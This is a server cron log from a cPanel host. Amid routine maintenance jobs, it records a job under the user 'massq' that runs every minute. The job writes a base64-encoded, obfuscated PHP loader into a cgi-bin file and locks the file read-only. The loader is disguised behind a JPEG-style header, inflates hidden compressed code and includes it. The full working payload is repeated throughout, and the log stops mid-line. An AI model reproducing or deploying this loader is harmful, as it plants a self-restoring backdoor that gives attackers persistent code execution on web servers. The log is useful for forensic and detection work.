Sep  9 03:15:01 server CROND[17679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:15:01 server CROND[17680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:15:01 server CROND[17682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:15:01 server CROND[17683]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 03:15:01 server CROND[17678]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:16:01 server CROND[18504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:16:01 server CROND[18505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:16:01 server CROND[18506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:17:01 server CROND[18961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:17:01 server CROND[18962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:17:01 server CROND[18960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:18:01 server CROND[30230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:18:01 server CROND[30231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:18:01 server CROND[30232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:19:01 server CROND[28761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:19:01 server CROND[28762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:19:01 server CROND[28764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:20:01 server CROND[3838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:20:01 server CROND[3841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:20:01 server CROND[3839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:20:01 server CROND[3842]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:20:01 server CROND[3844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:20:01 server CROND[3852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:20:01 server CROND[3850]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:20:01 server CROND[3851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:20:01 server CROND[3849]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 03:21:01 server CROND[27998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:21:01 server CROND[27999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:21:01 server CROND[28001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:21:59 server crontab[26096]: (root) LIST (root)
Sep  9 03:22:01 server CROND[26291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:22:01 server CROND[26293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:22:01 server CROND[26292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:22:06 server crontab[26479]: (root) LIST (root)
Sep  9 03:22:06 server crontab[26481]: (root) LIST (root)
Sep  9 03:22:11 server crontab[26614]: (root) LIST (root)
Sep  9 03:23:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  9 03:23:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  9 03:23:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  9 03:23:01 server CROND[27367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:23:01 server CROND[27368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:23:01 server CROND[27366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:24:01 server CROND[27800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:24:01 server CROND[27801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:24:01 server CROND[27802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:25:01 server CROND[28197]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 03:25:01 server CROND[28198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:25:01 server CROND[28207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:25:01 server CROND[28217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:25:01 server CROND[28218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:25:01 server CROND[28216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:25:01 server CROND[28215]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 03:26:01 server CROND[29055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:26:01 server CROND[29056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 03:26:01 server CROND[29057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyL